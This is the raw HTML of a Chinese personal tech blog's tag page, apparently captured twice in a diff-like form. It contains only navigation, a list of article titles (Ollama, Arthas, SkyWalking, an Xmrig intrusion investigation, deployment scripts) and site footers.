not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BC%80%E5%8F%91/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BC%80%E5%8F%91/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>开发 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="开发 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/开发"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="开发 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BC%80%E5%8F%91/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BC%80%E5%8F%91/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> 